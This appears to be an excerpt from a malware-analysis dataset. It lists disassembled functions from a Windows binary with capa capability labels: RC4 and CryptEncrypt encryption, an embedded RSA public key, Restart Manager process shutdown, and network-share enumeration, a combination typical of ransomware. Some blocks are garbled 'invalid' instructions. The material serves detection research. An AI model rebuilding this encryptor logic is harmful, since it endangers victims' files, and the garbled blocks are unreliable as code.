joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000c35c
Capabilities:
Encode data using xor

Disassembly:
invalid
cmp al, 0xf0
xor eax, 0xbd384015
mov ebp, 0x8cdf1dde
jb 0x14000c376
neg byte [rax]
and ch, 0x92
ja 0x14000c325
xor byte [rsi + 0x76], al
pop rbp
scasb al, byte [rdi]
jp 0x14000c3b1
jp 0x14000c371
xchg ecx, edi
div byte ds:[0xf9eeb47a]
xor eax, 0xb9edf115
fdivrp st(1)
xor dl, byte [rax + 0x18fa3672]
cmp byte [rdi + rcx*2 - 0x6a5b2c8c], 0x7a
jp 0x14000c3d3
shl dword [rbp + rdx*4 + 0x7d335d7a], cl
pop rax
jp 0x14000c3d3
xor edi, dword [rbp + 0x58]
jp 0x14000c360
cmc
mov ebx, 0xe4153944
mov ecx, 0x8ced1dde
jb 0x14000c33d
sbb al, 0x80
test dword [rsp + rsi*2 - 0x2d], edx
mov ebx, 0x575d7657
enter 0x7a5c, 0x7a
cmc
leave
invalid
ror dword [rax + rbx*2 - 0x74a6a28a], cl
pop rax
jp 0x14000c3e5
cmp ecx, 0x3e
lahf
invalid
xchg ebp, eax
fimul word [rbp - 5]
invalid

Function at 0x14000f790
Capabilities:
Encode data using xor

Disassembly:
lea rax, section..data
mov ecx, dword [rsp + 0x68]
invalid
insb byte [rdi], dx
cld
invalid

Function at 0x14000fd44
Capabilities:
Parse pe header

Disassembly:
lea rax, [fcn.14000fd40]
mov qword [rsp + 8], rax
jmp 0x14000fdc7
mov rax, qword [rsp + 8]

Function at 0x14000fd6c
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rsp]
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rsp + 0x24]
imul edx, dword [rsp + 0x24]
mov dword [rsp + 0x24], edx
cmp dword [rax + rcx], 0x4550
add byte [rax], al
jne 0x14000fd83
mov al, byte [rsp + 0x15]
or al, 0x83
mov byte [rsp + 0x15], al
mov rax, qword [rsp]
add rsp, 0x28
ret
pop rdx
invalid
invalid
invalid

Function at 0x14000fd90
Capabilities:
Parse pe header

Disassembly:
mov word [rsp + 0x16], 0xeafa
mov rcx, qword [rsp]
add rcx, 0xfffffffffffff000
add ecx, 0xfffff000

Function at 0x14000fdd0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rsp]
movsxd rcx, dword [rax + 0x3c]
mov edx, dword [rsp + 0x24]
imul edx, dword [rsp + 0x24]
mov dword [rsp + 0x24], edx
cmp dword [rax + rcx], 0x4550
add byte [rax], al
jne 0x14000fd83
mov al, byte [rsp + 0x15]
or al, 0x83
mov byte [rsp + 0x15], al
mov rax, qword [rsp]
add rsp, 0x28
ret
pop rdx
invalid
invalid
invalid

Function at 0x140010668
Capabilities:
Encode data using xor

Disassembly:
mov rdx, qword [rsp + 0x40]
xor rdx, rdx
mov qword [rsp + 0xc0], rdx
rol byte [rax], 0
add cl, ch
invalid
invalid
invalid
invalid
Function at 0x140001160
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov rax, qword [rsp + 0x30]
movzx eax, byte [rax + 0x100]
mov byte [rsp], al
mov rax, qword [rsp + 0x30]
movzx eax, byte [rax + 0x101]
mov byte [rsp + 1], al
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 8], rax
mov dword [rsp + 4], 0
jmp 0x1400011be
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
mov eax, dword [rsp + 0x28]
cmp dword [rsp + 4], eax
jae 0x140001285
movzx eax, byte [rsp]
inc eax
and eax, 0xff
mov byte [rsp], al
movzx eax, byte [rsp]
mov rcx, qword [rsp + 8]
movzx eax, byte [rcx + rax]
movzx ecx, byte [rsp + 1]
add eax, ecx
and eax, 0xff
mov byte [rsp + 1], al
movzx eax, byte [rsp]
mov rcx, qword [rsp + 8]
movzx eax, byte [rcx + rax]
mov byte [rsp + 2], al
movzx eax, byte [rsp + 1]
movzx ecx, byte [rsp]
mov rdx, qword [rsp + 8]
mov r8, qword [rsp + 8]
movzx eax, byte [r8 + rax]
mov byte [rdx + rcx], al
movzx eax, byte [rsp + 1]
mov rcx, qword [rsp + 8]
movzx edx, byte [rsp + 2]
mov byte [rcx + rax], dl
mov eax, dword [rsp + 4]
movzx ecx, byte [rsp]
mov rdx, qword [rsp + 8]
movzx ecx, byte [rdx + rcx]
movzx edx, byte [rsp + 1]
mov r8, qword [rsp + 8]
movzx edx, byte [r8 + rdx]
add ecx, edx
and ecx, 0xff
movsxd rcx, ecx
mov rdx, qword [rsp + 8]
movzx ecx, byte [rdx + rcx]
mov rdx, qword [rsp + 0x20]
movzx eax, byte [rdx + rax]
xor eax, ecx
mov ecx, dword [rsp + 4]
mov rdx, qword [rsp + 0x20]
mov byte [rdx + rcx], al
jmp 0x1400011b4
mov rax, qword [rsp + 0x30]
movzx ecx, byte [rsp]
mov byte [rax + 0x100], cl
mov rax, qword [rsp + 0x30]
movzx ecx, byte [rsp + 1]
mov byte [rax + 0x101], cl
add rsp, 0x18
ret

Function at 0x140001330
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [rsp + 0x40], 0x75
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x44]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
xor edx, edx
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x1400013a1
xor eax, eax
jmp 0x14000141d
mov eax, dword [rsp + 0x44]
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x90]
call fcn.140065c00
mov eax, dword [rsp + 0x40]
mov r8d, eax
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x90]
call fcn.1400657b0
mov eax, dword [rsp + 0x44]
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 1
xor edx, edx
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x140001410
xor eax, eax
jmp 0x14000141d
mov rax, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x44]
mov dword [rax], ecx
xor eax, eax
add rsp, 0x58
ret
Function at 0x1400040c0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rsp + 8], ecx
mov eax, 4
imul rax, rax, 0
lea rcx, [0x14007dd20]
mov edx, dword [rsp + 8]
mov dword [rcx + rax], edx
mov dword [0x14007dd18], 1
jmp 0x1400040f5
mov eax, dword [0x14007dd18]
inc eax
mov dword [0x14007dd18], eax
cmp dword [0x14007dd18], 0x270
jge 0x140004175
mov eax, dword [0x14007dd18]
dec eax
cdqe
lea rcx, [0x14007dd20]
mov edx, dword [0x14007dd18]
dec edx
movsxd rdx, edx
lea r8, [0x14007dd20]
mov edx, dword [r8 + rdx*4]
shr edx, 0x1e
mov eax, dword [rcx + rax*4]
xor eax, edx
imul eax, eax, 0x6c078965
add eax, dword [0x14007dd18]
movsxd rcx, dword [0x14007dd18]
lea rdx, [0x14007dd20]
mov dword [rdx + rcx*4], eax
movsxd rax, dword [0x14007dd18]
lea rcx, [0x14007dd20]
movsxd rdx, dword [0x14007dd18]
lea r8, [0x14007dd20]
mov eax, dword [rcx + rax*4]
mov dword [r8 + rdx*4], eax
jmp 0x1400040e7
ret
Function at 0x140004180
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 0x18
cmp dword [0x14007dd18], 0x270
jl 0x140004332
mov dword [rsp + 4], 0
jmp 0x1400041a8
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
cmp dword [rsp + 4], 0xe3
jge 0x140004224
movsxd rax, dword [rsp + 4]
lea rcx, [0x14007dd20]
mov eax, dword [rcx + rax*4]
and eax, 0x80000000
mov ecx, dword [rsp + 4]
inc ecx
movsxd rcx, ecx
lea rdx, [0x14007dd20]
mov ecx, dword [rdx + rcx*4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp + 4]
add eax, 0x18d
cdqe
lea rcx, [0x14007dd20]
mov edx, dword [rsp]
shr edx, 1
mov eax, dword [rcx + rax*4]
xor eax, edx
mov ecx, dword [rsp]
and ecx, 1
mov ecx, ecx
lea rdx, [0x14007d1f0]
xor eax, dword [rdx + rcx*4]
movsxd rcx, dword [rsp + 4]
lea rdx, [0x14007dd20]
mov dword [rdx + rcx*4], eax
jmp 0x14000419e
jmp 0x140004230
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
cmp dword [rsp + 4], 0x26f
jge 0x1400042ac
movsxd rax, dword [rsp + 4]
lea rcx, [0x14007dd20]
mov eax, dword [rcx + rax*4]
and eax, 0x80000000
mov ecx, dword [rsp + 4]
inc ecx
movsxd rcx, ecx
lea rdx, [0x14007dd20]
mov ecx, dword [rdx + rcx*4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp + 4]
sub eax, 0xe3
cdqe
lea rcx, [0x14007dd20]
mov edx, dword [rsp]
shr edx, 1
mov eax, dword [rcx + rax*4]
xor eax, edx
mov ecx, dword [rsp]
and ecx, 1
mov ecx, ecx
lea rdx, [0x14007d1f0]
xor eax, dword [rdx + rcx*4]
movsxd rcx, dword [rsp + 4]
lea rdx, [0x14007dd20]
mov dword [rdx + rcx*4], eax
jmp 0x140004226
mov eax, 4
imul rax, rax, 0x26f
lea rcx, [0x14007dd20]
mov eax, dword [rcx + rax]
and eax, 0x80000000
mov ecx, 4
imul rcx, rcx, 0
lea rdx, [0x14007dd20]
mov ecx, dword [rdx + rcx]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp], eax
mov eax, 4
imul rax, rax, 0x18c
lea rcx, [0x14007dd20]
mov edx, dword [rsp]
shr edx, 1
mov eax, dword [rcx + rax]
xor eax, edx
mov ecx, dword [rsp]
and ecx, 1
mov ecx, ecx
lea rdx, [0x14007d1f0]
xor eax, dword [rdx + rcx*4]
mov ecx, 4
imul rcx, rcx, 0x26f
lea rdx, [0x14007dd20]
mov dword [rdx + rcx], eax
mov dword [0x14007dd18], 0
movsxd rax, dword [0x14007dd18]
lea rcx, [0x14007dd20]
mov eax, dword [rcx + rax*4]
mov dword [rsp], eax
mov eax, dword [0x14007dd18]
inc eax
mov dword [0x14007dd18], eax
mov eax, dword [rsp]
shr eax, 0xb
mov ecx, dword [rsp]
xor ecx, eax
mov eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rsp]
xor ecx, eax
mov eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rsp]
xor ecx, eax
mov eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp]
shr eax, 0x12
mov ecx, dword [rsp]
xor ecx, eax
mov eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp]
add rsp, 0x18
ret
Function at 0x140005370
Capabilities:
Create restart manager session
Enumerate processes that use resource

Disassembly:
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x1ae0
call fcn.140064ac0
sub rsp, rax
mov rax, qword [0x14007d280]
xor rax, rsp
mov qword [rsp + 0x1ad0], rax
xor eax, eax
mov word [rsp + 0x1a80], ax
lea rax, [rsp + 0x1a82]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
lea r8, [rsp + 0x1a80]
xor edx, edx
lea rcx, [rsp + 0x40]
call sub.RstrtMgr.DLL_RmStartSession
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x1400054a6
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x1af0]
mov edx, 1
mov ecx, dword [rsp + 0x40]
call sub.RstrtMgr.DLL_RmRegisterResources
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x1400054a6
mov dword [rsp + 0x4c], 0xa
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
lea r8, [rsp + 0x4c]
lea rdx, [rsp + 0x54]
mov ecx, dword [rsp + 0x40]
call sub.RstrtMgr.DLL_RmGetList
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x1400054a6
mov dword [rsp + 0x48], 0
jmp 0x140005461
mov eax, dword [rsp + 0x48]
inc eax
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x4c]
cmp dword [rsp + 0x48], eax
jae 0x1400054a6
xor r8d, r8d
mov edx, 1
mov ecx, dword [rsp + 0x40]
call sub.RstrtMgr.DLL_RmShutdown
test eax, eax
jne 0x140005489
mov ecx, dword [rsp + 0x40]
call sub.RstrtMgr.DLL_RmEndSession
xor r8d, r8d
xor edx, edx
mov ecx, dword [rsp + 0x40]
call sub.RstrtMgr.DLL_RmRestart
test eax, eax
jne 0x1400054a4
mov ecx, dword [rsp + 0x40]
call sub.RstrtMgr.DLL_RmEndSession
jmp 0x140005457
mov ecx, dword [rsp + 0x40]
call sub.RstrtMgr.DLL_RmEndSession
mov rcx, qword [rsp + 0x1ad0]
xor rcx, rsp
call fcn.140064b30
add rsp, 0x1ae0
pop rdi
ret
Function at 0x140060620
Capabilities:
Import public key

Disassembly:
sub rsp, 0x48
movsxd rax, dword [0x14007f790]
mov r8, rax
mov rdx, qword [str._____BEGIN_PUBLIC_KEY______MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCHtOHNv5r9ok7BecRc9sqdczKH_oAZMWUwwP0larICrx4DU2D6wnEJEcTAh9gfDdKL6PDD80vLdWeA8cXZqbAbUA0_cZVejXYUqu2iIqBkK52w3Zj8dCUcVuGneO7J2gzG8RKvHzRc5NP2NQuIBBafk_IX_dpXTlNWaplQJhzQIDAQAB______END_PUBLIC_KEY_____]
lea rcx, [0x14007ef50]
call fcn.1400657b0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [0x14007d1f8]
mov qword [rsp + 0x20], rax
lea r9, [0x14007e700]
xor r8d, r8d
xor edx, edx
lea rcx, [0x14007ef50]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x140060683
xor eax, eax
jmp 0x140060724
lea rax, [0x14007ef08]
mov qword [rsp + 0x38], rax
lea rax, [0x14007ef00]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x8000
mov r9d, dword [0x14007d1f8]
lea r8, [0x14007e700]
mov edx, 8
mov ecx, 1
call qword [sym.imp.CRYPT32.dll_CryptDecodeObjectEx]
test eax, eax
jne 0x1400606d2
xor eax, eax
jmp 0x140060724
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 1
xor r8d, r8d
xor edx, edx
lea rcx, [0x14007ef10]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x1400606fa
xor eax, eax
jmp 0x140060724
lea r9, [0x14007ef18]
mov r8, qword [0x14007ef00]
mov edx, 1
mov rcx, qword [0x14007ef10]
call qword [sym.imp.CRYPT32.dll_CryptImportPublicKeyInfo]
test eax, eax
jne 0x140060722
xor eax, eax
jmp 0x140060724
xor eax, eax
add rsp, 0x48
ret
Function at 0x140060860
Capabilities:
Create thread
Enumerate network shares

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov dword [rsp + 0x68], 1
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x90]
xor r8d, r8d
xor edx, edx
mov ecx, 2
call sub.MPR.dll_WNetOpenEnumW
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
je 0x1400608c9
jmp 0x140060abd
mov dword [rsp + 0x44], 0x3e8
mov eax, dword [rsp + 0x44]
imul rax, rax, 0x30
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov edx, eax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x48]
mov r8, qword [rsp + 0x38]
lea rdx, [rsp + 0x44]
mov rcx, qword [rsp + 0x50]
call sub.MPR.dll_WNetEnumResourceW
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
je 0x140060921
jmp 0x140060abd
mov rcx, qword [rsp + 0x50]
call sub.MPR.dll_WNetCloseEnum
mov qword [rsp + 0x50], 0
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x30], 0
jmp 0x14006095d
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x30], eax
jae 0x140060a97
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x30
mov rcx, qword [rsp + 0x38]
cmp qword [rcx + rax + 0x18], 0
je 0x140060a92
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x30
mov rcx, qword [rsp + 0x38]
cmp dword [rcx + rax + 8], 3
je 0x1400609c4
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x30
mov rcx, qword [rsp + 0x38]
cmp dword [rcx + rax + 8], 9
je 0x1400609c4
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x30
mov rcx, qword [rsp + 0x38]
cmp dword [rcx + rax + 8], 4
jne 0x140060a65
mov edx, 0x104
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rsp + 0x58], rax
mov r8d, 0x104
xor edx, edx
mov rcx, qword [rsp + 0x58]
call fcn.140065c00
mov eax, dword [rsp + 0x30]
imul rax, rax, 0x30
mov r8d, 0x104
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rcx + rax + 0x18]
mov rcx, qword [rsp + 0x58]
call fcn.1400657b0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x58]
lea r8, [0x140060730]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x70], rax
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x98], 2
jge 0x140060a92
mov eax, dword [rsp + 0x98]
inc eax
mov ecx, dword [rsp + 0x30]
imul rcx, rcx, 0x30
mov rdx, qword [rsp + 0x38]
add rdx, rcx
mov rcx, rdx
mov edx, eax
call fcn.140060860
jmp 0x140060953
cmp qword [rsp + 0x60], 0
je 0x140060aaa
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GlobalFree]
cmp qword [rsp + 0x38], 0
je 0x140060abd
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
add rsp, 0x88
ret
Function at 0x140067648
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x1400674d3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400674d3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400674d3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400674d3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400674d3
cmp dword [rcx + 0x84], 0xe
jbe 0x1400674d3
cmp dword [rcx + 0xf8], 0
je 0x1400674d3
mov ecx, ebx
call fcn.140067574
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140067350
cmp dword [rbp + 0x20], 0
je 0x140067520
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140067528
int3
xor r8d, r8d
xor edx, edx
jmp 0x14006746c
Function at 0x140068848
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
mov rdx, rcx
test rcx, rcx
jne 0x140068825
call fcn.14006847c
mov dword [rax], 0x16
call fcn.14006835c
or eax, 0xffffffff
jmp 0x140068842
sub dword [rcx + 0x10], 1
jns 0x140068834
add rsp, 0x28
jmp 0x14006c874
mov rax, qword [rcx]
movzx ecx, byte [rax]
inc rax
mov qword [rdx], rax
mov eax, ecx
add rsp, 0x28
ret
jmp 0x140068804
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x20
test rcx, rcx
jne 0x14006c528
call fcn.14006847c
mov dword [rax], 0x16
call fcn.14006835c
or eax, 0xffffffff
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop rbp
ret
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14006c510
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 0xc
test cl, 1
jne 0x14006c510
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
mov rax, qword [rbp + 0x10]
shr ecx, 1
test cl, 1
je 0x14006c55a
lock or dword [rax + 0x14], 0x10
jmp 0x14006c510
lock or dword [rax + 0x14], 1
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
test ecx, 0x4c0
jne 0x14006c577
mov rcx, qword [rbp + 0x10]
call fcn.14006e330
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + 8]
mov qword [rax], rcx
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.140068648
mov rdx, qword [rbp + 0x10]
mov ecx, eax
mov r8d, dword [rdx + 0x20]
mov rdx, qword [rdx + 8]
call fcn.14006e8c0
mov dword [rbx + 0x10], eax
mov rax, qword [rbp + 0x10]
mov edx, dword [rax + 0x10]
lea ecx, [rdx + 1]
cmp ecx, 1
ja 0x14006c5ce
neg edx
sbb ecx, ecx
and ecx, 8
add ecx, 8
lock or dword [rax + 0x14], ecx
mov rax, qword [rbp + 0x10]
and dword [rax + 0x10], 0
jmp 0x14006c510
mov ecx, dword [rax + 0x14]
test cl, 6
jne 0x14006c63d
mov rcx, qword [rbp + 0x10]
call fcn.140068648
cmp eax, 0xffffffff
je 0x14006c624
mov rcx, qword [rbp + 0x10]
call fcn.140068648
cmp eax, 0xfffffffe
je 0x14006c624
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.140068648
movsxd rdi, eax
lea rsi, [0x140080660]
mov rcx, rbx
sar rdi, 6
call fcn.140068648
mov rdx, qword [rsi + rdi*8]
and eax, 0x3f
shl rax, 6
add rdx, rax
jmp 0x14006c62b
lea rdx, [0x14007d3d0]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14006c63d
mov rax, qword [rbp + 0x10]
lock or dword [rax + 0x14], 0x20
mov rax, qword [rbp + 0x10]
cmp dword [rax + 0x20], 0x200
jne 0x14006c673
mov ecx, dword [rax + 0x14]
shr ecx, 6
test cl, 1
je 0x14006c66f
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 8
test cl, 1
jne 0x14006c66f
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x20], 0x1000
mov rax, qword [rbp + 0x10]
dec dword [rax + 0x10]
mov rcx, qword [rax]
movzx edx, byte [rcx]
inc rcx
mov qword [rax], rcx
mov eax, edx
jmp 0x14006c513
jmp 0x14006c4e0
Function at 0x14006c87c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x20
test rcx, rcx
jne 0x14006c6de
call fcn.14006847c
mov dword [rax], 0x16
call fcn.14006835c
mov eax, 0xffff
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rbp
ret
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14006c6c0
mov rax, qword [rbp + 0x20]
mov ecx, dword [rax + 0x14]
shr ecx, 0xc
test cl, 1
jne 0x14006c6c0
mov rax, qword [rbp + 0x20]
mov ecx, dword [rax + 0x14]
mov rax, qword [rbp + 0x20]
shr ecx, 1
test cl, 1
je 0x14006c710
lock or dword [rax + 0x14], 0x10
jmp 0x14006c6c0
lock or dword [rax + 0x14], 1
mov rax, qword [rbp + 0x20]
mov ecx, dword [rax + 0x14]
test ecx, 0x4c0
jne 0x14006c72d
mov rcx, qword [rbp + 0x20]
call fcn.14006e330
mov rax, qword [rbp + 0x20]
cmp dword [rax + 0x10], 1
jne 0x14006c742
mov rcx, qword [rax]
mov sil, 1
mov r14b, byte [rcx]
jmp 0x14006c748
xor sil, sil
xor r14b, r14b
mov rcx, qword [rax + 8]
mov qword [rax], rcx
mov rbx, qword [rbp + 0x20]
mov rcx, rbx
call fcn.140068648
mov rdx, qword [rbp + 0x20]
mov ecx, eax
mov r8d, dword [rdx + 0x20]
mov rdx, qword [rdx + 8]
call fcn.14006e8c0
mov dword [rbx + 0x10], eax
mov rax, qword [rbp + 0x20]
mov edx, dword [rax + 0x10]
lea ecx, [rdx + 1]
cmp ecx, 2
ja 0x14006c79b
neg edx
sbb ecx, ecx
and ecx, 8
add ecx, 8
lock or dword [rax + 0x14], ecx
mov rax, qword [rbp + 0x20]
and dword [rax + 0x10], 0
jmp 0x14006c6c0
mov ecx, dword [rax + 0x14]
test cl, 6
jne 0x14006c80a
mov rcx, qword [rbp + 0x20]
call fcn.140068648
cmp eax, 0xffffffff
je 0x14006c7f1
mov rcx, qword [rbp + 0x20]
call fcn.140068648
cmp eax, 0xfffffffe
je 0x14006c7f1
mov rbx, qword [rbp + 0x20]
mov rcx, rbx
call fcn.140068648
movsxd rdi, eax
lea r15, [0x140080660]
mov rcx, rbx
sar rdi, 6
call fcn.140068648
mov rdx, qword [r15 + rdi*8]
and eax, 0x3f
shl rax, 6
add rdx, rax
jmp 0x14006c7f8
lea rdx, [0x14007d3d0]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14006c80a
mov rax, qword [rbp + 0x20]
lock or dword [rax + 0x14], 0x20
mov rax, qword [rbp + 0x20]
cmp dword [rax + 0x20], 0x200
jne 0x14006c840
mov ecx, dword [rax + 0x14]
shr ecx, 6
test cl, 1
je 0x14006c83c
mov rax, qword [rbp + 0x20]
mov ecx, dword [rax + 0x14]
shr ecx, 8
test cl, 1
jne 0x14006c83c
mov rax, qword [rbp + 0x20]
mov dword [rax + 0x20], 0x1000
mov rax, qword [rbp + 0x20]
mov rcx, qword [rax]
test sil, sil
je 0x14006c85e
movzx edx, byte [rcx]
dec dword [rax + 0x10]
shl dx, 8
movzx ecx, r14b
or dx, cx
inc qword [rax]
jmp 0x14006c869
movzx edx, word [rcx]
add dword [rax + 0x10], 0xfffffffe
add qword [rax], 2
movzx eax, dx
jmp 0x14006c6c5
jmp 0x14006c68c